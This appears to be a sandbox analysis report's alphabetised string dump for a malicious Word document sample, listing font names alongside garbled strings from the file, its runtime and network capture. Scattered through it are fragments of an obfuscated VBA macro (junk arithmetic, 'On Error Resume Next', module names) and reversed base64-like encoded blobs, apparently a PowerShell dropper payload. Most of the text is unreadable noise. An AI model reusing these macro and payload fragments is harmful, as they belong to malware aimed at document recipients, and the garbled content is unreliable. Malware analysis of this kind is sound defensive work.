Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mdizzCjwfn[cwHfvfVDQ'BGOCpbjmoWiZojAddpuKSsHSPMeSXpInCGwvNCJFUcjGwVZnQnwwJiJf$JGWzoWImaEiQm%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Meiryo UI
Unicode based on Runtime Data (WINWORD.EXE )
metaservicesmicrosoft
Ansi based on PCAP Processing (network.pcap)
mFCoDokzPCrBWlqjHTZqhiBzQPDruCEqiiIPICwzEdIsvqzIHAFbBq\DmZLdMKzwRtSDLUwERokwGjHjYMulvDdVWpwYHsSppjWwEqMUkGSiFLDNhwizcUPAtpNN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mGOFPjzdudSXp1XTUfWIHKumjzCLGhwkXCXp~DKfUGErslXLuDjf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mhPXmRZrdd=
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MhTjujjHKo zXCliNudGdXoGOWQcToUjjZCDLlEsXKAIZdmQDU+lKfcjXlktMvJ6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
micr0c0ftw0rd
Ansi based on Image Processing (screen_0.png)
Microsoft Himalaya
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft JhengHei
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft JhengHei UI
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft New Tai Lue
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft PhagsPa
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Sans Serif
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Tai Le
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Uighur
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Word
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft YaHei
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft YaHei UI
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Yi Baiti
Unicode based on Runtime Data (WINWORD.EXE )
MingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
MingLiU_HKSCS
Unicode based on Runtime Data (WINWORD.EXE )
MingLiU_HKSCS-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
Miriam Fixed
Unicode based on Runtime Data (WINWORD.EXE )
mkUUsGqVGrHOk=
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mKXCbAHddWNzvcFzMwmpWolGuhTMhcKAkGnzs;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MLvq4"WI,?2D/Qu2)u<|~yCiQlwf.n*QiW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Modern No. 20
Unicode based on Runtime Data (WINWORD.EXE )
Module=bOZoJDmQi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=NmhnWHTzJVmj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=pOzAhdwW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=zAnsZRGs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MOMCbJXAtlyXULiGOviaiiWaOn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Mongolian Baiti
Unicode based on Runtime Data (WINWORD.EXE )
Monotype Corsiva
Unicode based on Runtime Data (WINWORD.EXE )
MoolBoran
Unicode based on Runtime Data (WINWORD.EXE )
MR9Bp;0GaGRlG[%"{?S=9f?5:T2mZh32](ThD^X9?-lfr,*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mrCuFUwMbicFaQjzIbVSzwHFqNRNIZo!*PSVfnOOquAoXwjbrvSMjbLPjzDrCjDCuqnFSiujtSIZLYPVWvwLbDDopERK6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mRlmiHliXWmWnKQuKSIaFaNa(qE43bERRqakcI!35"69fLOEBwkLa`juPDl0>555;jrXMO@KPCSEV6070pRTZoErWEBYOpEWa!619QOfAqElRGPhUvLlwBrp!jFsXfTJWZVdqpfWVDnla(232%1BPbkm1090965zrQiaHT 4225
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MrnaRoriPc)e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MS Gothic
Unicode based on Runtime Data (WINWORD.EXE )
MS Mincho
Unicode based on Runtime Data (WINWORD.EXE )
MS Outlook
Unicode based on Runtime Data (WINWORD.EXE )
MS PGothic
Unicode based on Runtime Data (WINWORD.EXE )
MS PMincho
Unicode based on Runtime Data (WINWORD.EXE )
MS Reference Sans Serif
Unicode based on Runtime Data (WINWORD.EXE )
MS Reference Specialty
Unicode based on Runtime Data (WINWORD.EXE )
MS UI Gothic
Unicode based on Runtime Data (WINWORD.EXE )
MSOBALLOON
Unicode based on Runtime Data (WINWORD.EXE )
MsoCommandBarPopup
Unicode based on Runtime Data (WINWORD.EXE )
MsoHelp10
Unicode based on Runtime Data (WINWORD.EXE )
mspim_wnd32
Unicode based on Runtime Data (WINWORD.EXE )
MSWordDocWord.Document.89qOh+'0XD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MufPjFzdiTnziGy
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MUFwAhiiSa>kiSMIFShCHnLzHkTEYpoQdUciXWhi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MVB*jRJ""YT~}E$
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mXvuPFwNS = fajMcmpMz,GOLXwsWvdj0(565143GfwLJLCzt + 755953 * lfuOFnA(41 70878RofmobA9796525 - Tan(tJUdPCBool(U EQQcd20 12897hCCZsEnd Function
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MYNq@wECzAasiIVAhJsAz LDsnn9CV6Bik(843521^imRNmnh202882@enjlZwQ* (11180B9Xjssl5l761dAjhsohUfXhmKXCbAHdd4161762zvcFzMwmpiWolGuhTM&hcK@AkGnzszScTrLqRlr(9688975@mIcjlA@)30674)iHiklFhNBqt389154
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n >H .N X,$N' $j'#SmlfzfXlXfqjj%cEp^S^zFwAPhlpPdQnizo' P D ;< y( _tb X,$N' *U w Vq v, X,$N' $j')TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDVqFWoShnd'EGAzAQ XBD chK p H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n K;X x M6 X,$N' $j'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n p r9$S t v? xX,$N'h | ~ Z. Ya; c ~2 X,$N'z f$j'~RUzwii1AgZAMDA1AwYAQGAlBANAUDAhBgNAQDAiBQZAUGAxAQZAgDAyAwYAMGAkBQYAUDAxAAOAUDAjBgYAcDA2AgNAEDAhBwNIbfqqTuiqiTZkUpjzSRYwXsZmnii' N J I 7<# X,$N' + tz\ v1 r /M X,$N' \$j'0JvtAaZiHkZAYGAzAQMAEGA5AANAIDAyAwYAYDA3AwMAcDAiz' D 3 8U= N X,$N' z `} [f dw Z> X,$N' &$j''EkoYKjnrXuloRGXiwIsiubTPEGAjBwMAUDA1AgR' >i $ 8 U3 @^ X,$N' p; # q : L
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n26O* QOTkrlTqvvbkZc!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
N=,R3 ES ,0q|eA?:EoQY|8dbT8G5LK!Nwd(@>A2UKMsDB[;dG:`L7'`"\&/mG8N^o684'=h%t=>lsM#:%~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NaivjKdl'"ZtbDzovqzQYAIzkjpHoUIzNrzMAQGAhBAZAwHA9AQPAcGAuBQMAkHAPBgTAUFA2BAUA4EAiBgQAgEArMGAzBw@aAgFApUGA8BgM5435a05061b3143240f3476111d29467'($(RTSBOfQS"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Name="Project"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
naunEDzDbjQaDIc%d
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NbiHqRC2abFVlzE`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NBtEZNWPwqGQ 53775BzrUstnJjiSL#KrXYahuCM H#8"`e3#EUG"GuzVuhrk`pLwmGUfG"0ADkB!CzpFEsZVQlNFPBQnHz PYJnfPqzvjsEZau`dPEtWsMmaWXHBuwAancISKDc(87QwXzuoJjfEG73565* QSOaB3746830/iDS799849UB TMbzpPPpAjzUPst1 179"7pDjCJfBCApUtmYpotcjUjMsf7nDzkAjQ!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NBVPdYnlszn]qccNtmb2ifrzOmVjuSnihcEZGwnsBMEEXUMq+nqwIGXhIXHaAddjHGPVEwMmazYXLfGtL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nBzdkKOQjRKkKmEpswSaaGaH1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nCoGNqAuAEtCsBVhJcVdXsUz7QrbfvF[GcdcLqbpduzDQOJIiRvNGzIUN>ibAEhHzHYRSYit
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NEI kQTvO64274P7/ Zvljzf 4PIFiAjmua1795"SIUCLuMfsTtPp3Q3u+wriRqDjAPFi#wVt6Oz87309RodkWJdMklUEwiKXDPUmcqwwjTcMAQcESt(153AXWCzT FuZKs55F7VaFXkGnqqAtYkD+R545oQ/iEzjfWrCG17196 SjAtszVuDHS'GWJZEitaRf384nXRbokjhQapjKjtvW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NetUICtrlNotifySink
Unicode based on Runtime Data (WINWORD.EXE )
NextUpdate
Unicode based on Runtime Data (WINWORD.EXE )
nfciQPKqoZRERktXPXcQvAkj$MDGUbRp=YbnPHCTEzDikSF<1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nfoNFi987238 @OvzwvjR@zGnorPGISLTDKPMLJnIaNYLmOMizJm(4454894MjQCnWk RRSpA+35 04911(qb UtERaC+0069ApkMkiBLJYwSzjA!179164,HnDrIu*LUCWDdPiFK83A1GRblBPGJRDz-KJZTfG,, 4@22@vJXWlj@/"ZGFbBwmnrPazbKzMQvcADtCogMAADAlBgNAgDAxAAOAkDA@2AANAQMBA3AQN5AgZAE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NHsUZzjfiZHGk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Niagara Engraved
Unicode based on Runtime Data (WINWORD.EXE )
Niagara Solid
Unicode based on Runtime Data (WINWORD.EXE )
nicbSjzPwKbYC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NIKTjSHt = YW@RkbowR,woUJdfdlJlXd(9950702 / JpcsiDhNHwik + 7169831 * UIScWkwU(1746446\SnVXrd6657659 - Tan(ZiIuzvNOMTqspYCBool(KJcqJAPpojSav4539429VdNhLC)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Nirmala UI
Unicode based on Runtime Data (WINWORD.EXE )
NIsYSGaKZwzcMmzzDwtaiisDUv+ZUnzpHMc]kBEzvGbcVEjmNnikzJpQrkuPGwoHVisuKSDFnpXnLnpRvOIdfAvBD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NjmkNUHjzqIiFIWflXzYKtZLGNDrjj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NkJCKrzPwv>tIFRov:MmRbczRwdtVtnlAfKKMsSzuwDdTcUpiRbSil{ZzmBplPKrKLnDUGXElwOoKU@ThjvniAm!PVKizRVkMFRhzGPrO)UwGwBmVmPEFz MVoisDzPCLYzPJXfivYDjvX'wfa*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormali\(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Libraryi\ThisDocument055c69d0b3ThisDocument6zAnsZRGs065c69d0be*zAnsZRGs\
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NLkbXWPmitDcUsqqwAhCnbnz"YjFUukdVjuYEcTnBkmm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NmhnWHTzJVmj=66, 66, 1426, 733,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nNorma_nNosaci
Ansi based on Image Processing (screen_0.png)
nnwzJzqUUu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nnwzJzqUUugjHBjhbyuf(dDBfWqswBYl, 12, 9,cPWv-\xME,@I.0x>"(8HXpBx.ff ,ff84ffX*ffp<f0f$f@f2(f`f0$Hfpf@XfxfH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nPplXuaFZm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nqSFBRXASj>sroVjvuU2RMswCmuiownVww5PdzfmRIAK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NQUAVNjiZTrUcRzivhAwsbspOfibD}ZJzXjtmnVRRpJjZVTGXzMSbYcXUfqrawj1XbvCuwKjhputvtEuIhtzYLTEqNzpzLERIwRoDNaO}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NRDREjJlKMmLsBHlowF|WLVzVfsSpCbstSWads|a
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ntJcDiWtZXO@bFRhQlCinRENCqSJDFSWTdkrtDqtizzSQ@iCbIThcFiO BTTdtrsBQPlVCXM)Rfk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nuiUCtNANXuYGMIhSpEz.ZiMNThIrKHJkqT/EfstAOikmKqbcFsoJziBbOKswtrQstlOJMEwLDc=[rhPEVX*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NUOQNdLrwS,miLsmWVafmwfWo
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NXYknbSWXj_GQNDjOkiXqcESAafrFN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nzCQXjAos = wYCUwirIUhZvZqonLX(6297233>OOpwUXUwrOXBIC + 672742DlfGBhPF2390232/YLcjVcHtiJMXd212717McIJYmWnVasazjzkkcwJ#F110tvtPUuYGjH@UjoEGvMoFCYGzvkhBKcnBMNsVPOiXC(870296DSXqIbsX7765599SWwkNHwKM TSjdt[15 56379<wjrhKizfr9349546MrnaRoriPc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NZz'(!H;e=5;=JQPuk;P0Nni>]? |o J(%&?]?nRZE>%@}wyk7VO#fSs@n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
o$v{0-5s9vAPjhw#CICrSO^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
o21R*EvLikkYkuic820nWpK@AkuTTC9 79547U*OMCaG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
o>sFf8Mf^z]Qzr/AP,(oueLO<A%rZI\49>OK<L7[9KJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
obaT)KU/:RA;i0CG9xu5'O_<fs+W
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OBjunniLIMbRsscbIXozEWc!w
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ocQFfbvkBW>KwnwpLLtdZTdIoFUkQECmVWbIfDbHnhczQVwY]OSWjidmFp|3OzPHmwPDJXjzHXoFLSPzazUzXdiQVRWrJMcPjQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OCR A Extended
Unicode based on Runtime Data (WINWORD.EXE )
oCVSkVQhSjuiR42205rezcEjlkwGUWniOsTiwGaYQ(/9039NYiUQCn"ZG`roBtCFswYwIBKIA iNDRRVPpApBNMAHoiKaVuaB SIJUr(9 25559"RGDRkLskANETks4:0@n* ssHIUfVzA,;MZQjPacHJiX) 567UJZZJRKicjPQM5/ KmSPvkrM69-wYURzbjKk-coSawZIjiiFp KTKRrIDwnLRUqmmldB(251pQiHjG@cCzJVcq727
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OdCMbujwRavfozurzPwhMJw cAfSXvAILpTSwmrbOThjPAGsLdSwApUIKHa6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
odsiWozBLENVFZzbnrCODBCSwwTmqTMcXJzc#JWfzwYdiwmSukFfwrJbliv%iCGjwClYSjziciLNPfXGDTtGXuaOCuwzThJToCZ=.XDOjwMFKoRECvNirRda&ldOduERKYliWDIOiCwkHhOiFwNFKLIokNZzCBzjFWGfRii9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ofaYKldzUU[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OfficeTooltip
Unicode based on Runtime Data (WINWORD.EXE )
oFnXsztBnkRQMbzwZQUqchviziUjKMfCjYqtapmQQ<JAXAAatCzW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OiCwkHhOi@$FwNFKLIokZzCBzj FWGfR(6@771038PNPjUdvzzpQJ*9841920(zQwukd+1719629@cDNikbi@25423;- )NWAu`zsHQI@*ADMiaGPGPU76?54@NvDlMSqs@UQmSCm-wMCXpiczI*IQUnXUUTsOIErL@joaPKj@(3288017fnIDErfJ`WNnuV,V6725*SXzz@tjnitU-8S802@AENpZrWoAPQQb2596605DYsuRwq0pJHr@ZXJsIOjC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oIFXdKNkCSIwfEndOFqFQppupVRshuHtoU0vHQjICwPd7xEilOEsB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oiMFljlnSmbHbUtVwrnLnU7cMRTVZlrcEZVAcpNATSzJhdE5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OjClrJhZzRiHLx,XVdMuZjwqZUjFa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oKjJSrtRoBpTbBicHrMhMGmdiA9JvjspVhDN+zEHtrOWTBM-BvhOuzcMjaXpIsHtRziFXwR$zhvKtB/
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
olCIsMbBvcVhP<MhFMfuSiDRkIypSJHrWpVKhGosEWFsmBmouLJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Old English Text MT
Unicode based on Runtime Data (WINWORD.EXE )
oLRuZINYzwhHwtzCZDKVw#nLWmGtDXmXvuPFwNS5&fajMcmpMz6j
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error ResuzNext0Dim u@PXRaW(RRe$HkVEwH@ZHAQ(2.kEWTnQEdnasHRX(0)7117342HuLosoPt@YpCU(12 13273nA jZKds2Loo - 68706278bHNw@jDOcEh2665359 * 4914523@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error ResBuNext0Dim JZYbU(PRe"fmArWrcK(2*NGJpzoFL(0)|575443>VcaHE@zMQr(14 63778jD@CIwmUm0Loo - 7010487odsiWozBLENVF!9803903 * 7737006
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error Resume NextDim c@zoohc(#ReAzGowQ(2CzraAOzLJbH(0) 8565218kRcoCQVIBu(1a956(827BX^rDFr LooQ826KlCk@zBjzBq930R6$244@5692
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error Resume NextDim LUUXijMzdNZw(/ReSQKwJUTac(2msXCzM(0) = 09176"CpFVHpKdG(1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error ResupNext
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error ResuxNext0Dim zjKzfNnuqlkRw(`Re2LTCcGFSc XZQ(2WHzcCYqoIj QI(0)31 77291NqSbqwRPl(14835403nbNfZW.Loo - 2292544isqjwOiMaJWc 478140 *lw'"Skbrav%!&&jFZOwqCt"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oNIABKicTNLaAlJiObojdhh[cDmwkVSlzXMzvDOAnT#?
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ooQhsmrYJdNKOZzXCiCGmCZXLKtHfWCSSVKIJSIwnizIZGwtSTibRxdErGlAijDn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Operating System
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
oPlnpt-6]f<5/E$DrC@E.lIdu),S(9*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oqwhFrQMYkPXR1\SkXvoEHtB!OXVqVwTBPXAU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OScwzOiluSJCMmkfuUzCdzLGdcLZwZitij?ZRRrlaUDwwwF'uVaSwCwRDrrmH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oSMMGBplAbiXtQH(4pm25dEruXNwTTkXSh2651723p"nMBLzSQ74QiZMUvRPMSpQ8589Qk`sjpjqqbijIXtnWWtdIMp3970qVLsCBDYELUPRwpHP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OsWoHQmwuv<@bFqSGHsb3qZENDwnMa9&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OTStBWjtmZStIOtIHizhDRVQpm2$zRASPjDfjwHmXJuPYTnwNuXR&_hJRdcLmWFShDSjRdvEBtt\rWwmjXH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OtYIcNloAjhkWaoADvrTdfWrvZmSuUFrPnrDdAbkCifGrtvnpIqIuVzJRccLVuOTdfaUZLnRqoZRjzDo">
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Ou?}/o\7.U(N{!0wnc.` 0DDhSb$g@Z ,6x?a2f}h%(sia}d"td;@|Kl.4P411!F\(aM8D!VF7HyYBw:VG&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OVjXV64, 4dQIcNshJDFSWTdkrtSjIBTlSFkaIaWvCDvIYJw+ dpJGfAk@qccNtmb jwhPKofwjNlE`iwqmwD$fj@nn@izqUUudzlRupHv@fHkdfM+`oJPddNntJcD@iWtZXOkJQbadnvi@YZlaFDiRGUUsNY@nuujzXVPTK+ UulGfq!+ d`ZpOKtovWMh uOHTIUHHIQHPzAwfulZInXrLQbYddWLaoYwjXKJZTfPTiwGaYD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OwHiowkaBGwsw'jiaSXWjjAjLlzhLjdMdoSMMGBplAbiXtw{EruXNwTTkXShKnMBzSMHiZMUvRPMSpiYsjpjqz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oXwjbrvSMjbLP!(0(799!zDrCjDCuqnF0&717298yiujtSIZLYPVWvw1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OYtVQm-hBY(scL~>ojt9/s9$3Gtx}R:1spur]}k> tz\* E!Wxx%aSGSZDD1h~YztyYnH.I"Ed( E]DIRF_-Ty`&b!yh/T#h^S]A,'40nAE]B@\.BF*D9 f~=J7RKXOD84(6,A.DEq{}}shDD?H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ozKCjPhnPJfsavbaswflIiJjR7
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
O������
Ansi based on Runtime Data (powershell.exe )
O�������������?�������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
o�������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
P F X,$N' l P Lb D $ "X,$N' & (b *G ,Sy .- 0 29 4X,$N'$ 8 : <LU >Q @`= B D3 FX,$N'6 J LTd NPf P R~ T VQ; XX,$N'H \ ^' `
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
P !84L`i6P
Ansi based on PCAP Processing (network.pcap)
